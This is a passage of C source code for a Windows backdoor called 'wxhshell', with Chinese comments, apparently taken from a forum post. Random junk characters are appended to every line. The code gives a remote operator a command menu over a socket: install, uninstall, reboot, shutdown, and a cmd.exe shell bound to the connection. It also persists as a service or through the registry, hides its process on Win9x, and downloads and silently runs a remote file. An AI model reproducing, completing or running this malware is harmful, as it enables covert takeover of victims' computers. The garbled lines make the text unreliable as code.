    switch(cmd[0]) { @nIoIz D~  
  XCyrr 2^  
  // 帮助 {pC$jd>T  
  case '?': { I !O5+Er  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *s|'V+1  
    break; @x_0AkZU  
  } 0e(4+:0  
  // 安装 _,3%)sn-)  
  case 'i': { sCE%./h]  
    if(Install()) Gyb|{G_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ff 6x4t  
    else .H Pa\b\L>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +-qa7  
    break; z&CBjlh  
    } ^ LVKXr  
  // 卸载 %$67*pY'JH  
  case 'r': { wxy@XN"/i+  
    if(Uninstall()) q2*1Gn9!j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0KA@ ]!  
    else ,>Dpt <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b"w@am>&  
    break; T9uOOI  
    } DC0O N`  
  // 显示 wxhshell 所在路径 `@{(ijg.  
  case 'p': { 9K-,#a  
    char svExeFile[MAX_PATH]; W=Mdh}u_I  
    strcpy(svExeFile,"\n\r"); Hp[i8PJ  
      strcat(svExeFile,ExeFile); F:8@ ]tA&  
        send(wsh,svExeFile,strlen(svExeFile),0); Q;GcV&f;f  
    break; :"cKxd  
    } }yw>d\] f  
  // 重启 dtig_s,)D  
  case 'b': { K9 +\Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `W.g1"o8W4  
    if(Boot(REBOOT)) l[[^]__  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gh 352  
    else { 25<qo{  
    closesocket(wsh); . Ctd$  
    ExitThread(0); `> +:38  
    } 1'|gxYT  
    break; oA3;P]~[  
    } dFmpx%+p  
  // 关机 LMuDda  
  case 'd': { Hz%<V *\{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T[MDjhv'  
    if(Boot(SHUTDOWN)) tJA"BP3f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(gai?  
    else { z<gII~%  
    closesocket(wsh); 4vV\vXT*  
    ExitThread(0); ElKMd  
    } )a9C3-8Y'  
    break; <k {_YRB  
    } N:~4>p44[  
  // 获取shell 4BeHj~~  
  case 's': { %,e,KcP'  
    CmdShell(wsh); <C451+95  
    closesocket(wsh); .9?GKD  
    ExitThread(0); 2#N?WlYw<S  
    break; ,aIkiT  
  } (LJ7xoJ^  
  // 退出 Z[>fFg~N4  
  case 'x': { &.qLE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2*a9mi  
    CloseIt(wsh); .[Qi4jm>`  
    break; Wr-I~>D%_  
    } `I(ap{  
  // 离开 ^# 4e_&4  
  case 'q': { xzOn[.Fi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5sNN:m  
    closesocket(wsh); M^Tm{`O!  
    WSACleanup(); .zTkOk L  
    exit(1); GMB3`&qh  
    break; c6AwO?x/  
        } &eqqgLz  
  } ^Cvt^cI  
  } _>;{+XRX[  
Z?V vFEt%  
  // 提示信息 hT`&Xb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HLQ> |,9  
} $4qM\3x0,  
  } ]2YC7  
\HG4i/V:h  
  return; +KWO`WR  
} @Ae&1O;Zh  
mn*}U R  
// shell模块句柄 sH'0utD#Y  
int CmdShell(SOCKET sock) Ro4!y:2|  
{ J^S!GG'gb  
STARTUPINFO si; ,Q.[Lc=w  
ZeroMemory(&si,sizeof(si)); QpRk5NeLe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /I{K_G@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0C\cM92o  
PROCESS_INFORMATION ProcessInfo; k8@bQ"#b  
char cmdline[]="cmd"; 3\{\ al   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UZmo?&y  
  return 0; +5 gX6V\  
} g3^:)$m  
Q7{{r&|t&  
// 自身启动模式 B-$zioZ  
int StartFromService(void) N9s.nu  
{ ecO$L<9>  
typedef struct +U%epq  
{ i_QiE2d  
  DWORD ExitStatus; BUV4L5(  
  DWORD PebBaseAddress; f8V )nM+v"  
  DWORD AffinityMask; [>\e@ =  
  DWORD BasePriority; <a&xhG}  
  ULONG UniqueProcessId; 5wha _Yet  
  ULONG InheritedFromUniqueProcessId; Sw$/Z)1K&  
}   PROCESS_BASIC_INFORMATION; b\zq,0%  
t0kZFU  
PROCNTQSIP NtQueryInformationProcess; MgN;[4|[h  
3gD <!WI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |T/s>OW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {'B(S/Z 7  
~D`R"vzw=  
  HANDLE             hProcess; qn{4AWmJ  
  PROCESS_BASIC_INFORMATION pbi; (w\|yPBB  
#<U@SMv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M?Q\ Hw  
  if(NULL == hInst ) return 0; 3)9e-@  
>Z<ZT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1zw,;m n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y4aT-^C'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \2#K {  
<P&X0S`O  
  if (!NtQueryInformationProcess) return 0; ' V*}d  
2V$Jn8v,`{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ bWy5/+  
  if(!hProcess) return 0; &5sPw^{,H  
gB+CM? LKq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $}5M`p\&C  
$:1/`m19  
  CloseHandle(hProcess); ;=E}PbZt2  
w(X}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U3v~R4  
if(hProcess==NULL) return 0; + 65<|0  
yB=R7E7  
HMODULE hMod; gp~-n7'~O  
char procName[255]; W<[7LdAB  
unsigned long cbNeeded; H@ty'z?  
YcR: _ac  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~k?t  
45iO2W uur  
  CloseHandle(hProcess); yp@cn(:~  
NwQ$gDgu t  
if(strstr(procName,"services")) return 1; // 以服务启动 '%:E4oI  
CDW| cr{  
  return 0; // 注册表启动 V:+vB "  
} m7XN6zX  
J p%J02  
// 主模块 IM[=]j.?  
int StartWxhshell(LPSTR lpCmdLine) z&um9rXR  
{ 6& hiW]Adm  
  SOCKET wsl; xlgT1b:6  
BOOL val=TRUE; Vhb~kI!x  
  int port=0; @y0kX<M  
  struct sockaddr_in door; 3+:NX6Ewb*  
;i+(Q%LO  
  if(wscfg.ws_autoins) Install(); E)X_  
Et}%sdS  
port=atoi(lpCmdLine); Pl#u ,Y  
2"P1I  
if(port<=0) port=wscfg.ws_port; YY'[PXP$Y  
G4#Yz6O  
  WSADATA data; KK-+vq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZX{eggXl  
M$f_I +  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C)9-{Yp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yx ;j  
  door.sin_family = AF_INET;  wJvk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o(t`XE['<  
  door.sin_port = htons(port); Z vyF"4QN  
*0'{ n*>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WFS6N.Ap  
closesocket(wsl); %VXIiu[  
return 1; dPgA~~  
} y6s/S.  
SxC(:k2b;  
  if(listen(wsl,2) == INVALID_SOCKET) { Mz lE  
closesocket(wsl); 0{?%"t\/f  
return 1; +OB&PE  
} Q-U,1b  
  Wxhshell(wsl); y%YP  
  WSACleanup(); DAEWa Kui  
 e+@.n  
return 0; 7bJM $  
>S?7-2X  
} kaDn= ={YM  
: R8+jO   
// 以NT服务方式启动 y92<(ziaX)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >4#\ U!  
{ u9+)jN<Yh  
DWORD   status = 0; jar?"o  
  DWORD   specificError = 0xfffffff; mj9]M?]  
X<1ymb3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [FWB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W}wd?WIps  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H@k$sZ.  
  serviceStatus.dwWin32ExitCode     = 0; ^1--7#H  
  serviceStatus.dwServiceSpecificExitCode = 0; 2Paw*"U  
  serviceStatus.dwCheckPoint       = 0; #KtV4)(  
  serviceStatus.dwWaitHint       = 0; ^AUQsRA7PZ  
#`"B YFV[E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;:Kc{B.s  
  if (hServiceStatusHandle==0) return; q93V'[)F  
`]Vn[^?D  
status = GetLastError(); $,T3vX]<  
  if (status!=NO_ERROR) z_z '3d.r7  
{ a1weTn*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RZj06|r8  
    serviceStatus.dwCheckPoint       = 0; <)@^TRS  
    serviceStatus.dwWaitHint       = 0; Aca ?C  
    serviceStatus.dwWin32ExitCode     = status; %';DBozZ   
    serviceStatus.dwServiceSpecificExitCode = specificError; &0-Pl.M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x/92],.Mz  
    return; #mO.[IuD  
  } +,9Mufh  
8EI&}I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H329P*P  
  serviceStatus.dwCheckPoint       = 0; 1+Y; "tT  
  serviceStatus.dwWaitHint       = 0; Q@UY4gA '  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8@I.\u)0  
} .>( qZEF  
K%vGfQ8Er-  
// 处理NT服务事件,比如:启动、停止 NW Pd~l+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) It^_?oiK  
{ y? 65*lUl  
switch(fdwControl) /p@0Q [E  
{ zPb "6%1B  
case SERVICE_CONTROL_STOP: #kQLHi3##  
  serviceStatus.dwWin32ExitCode = 0; z.kBQ{P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2wgdrO|B  
  serviceStatus.dwCheckPoint   = 0; (8j@+J   
  serviceStatus.dwWaitHint     = 0; ve= nh]N  
  { g|4v>5Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Al]z =  
  } k :zGv  
  return; +;;pM[U  
case SERVICE_CONTROL_PAUSE: m^,3jssdA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wijY]$  
  break; 1) G6  
case SERVICE_CONTROL_CONTINUE: .s@[-! p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #.\X% !  
  break; N" oJ3-~  
case SERVICE_CONTROL_INTERROGATE: %] 7.E  
  break; ^KFwO=I@PV  
}; HC ?XNR&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V{kgDpB  
} cK+)MFOu+  
CB?H`R pC.  
// 标准应用程序主函数 (fWQ?6[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y]f| U-f:~  
{ ZbcpE~<a  
cY*lsBo  
// 获取操作系统版本 J7rfHhz  
OsIsNt=GetOsVer(); cV)~%e/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GD .>u  
93#wU})  
  // 从命令行安装 &Lgi  
  if(strpbrk(lpCmdLine,"iI")) Install(); %|3UWN  
Eh f{Kl  
  // 下载执行文件 V?cUQghHg  
if(wscfg.ws_downexe) { /d-7n|#E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mxe  
  WinExec(wscfg.ws_filenam,SW_HIDE); "'"dcA   
} zL3'',Ha  
doaqHri\,  
if(!OsIsNt) { tt>=Vt '  
// 如果时win9x,隐藏进程并且设置为注册表启动 h9J  
HideProc(); S b3@7^  
StartWxhshell(lpCmdLine); RpY#_\^hI  
} _u`W$EG L  
else tMy@'nj  
  if(StartFromService()) $eBE pN  
  // 以服务方式启动 7gQ~"Q  
  StartServiceCtrlDispatcher(DispatchTable); I^6zUVH  
else Q}jl1dIq  
  // 普通方式启动  ?2b9N~  
  StartWxhshell(lpCmdLine); [VP ~~*b  
 3^zO G2  
return 0; %@FTg$  
}
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只看该作者 1 发表于: 2006-10-10
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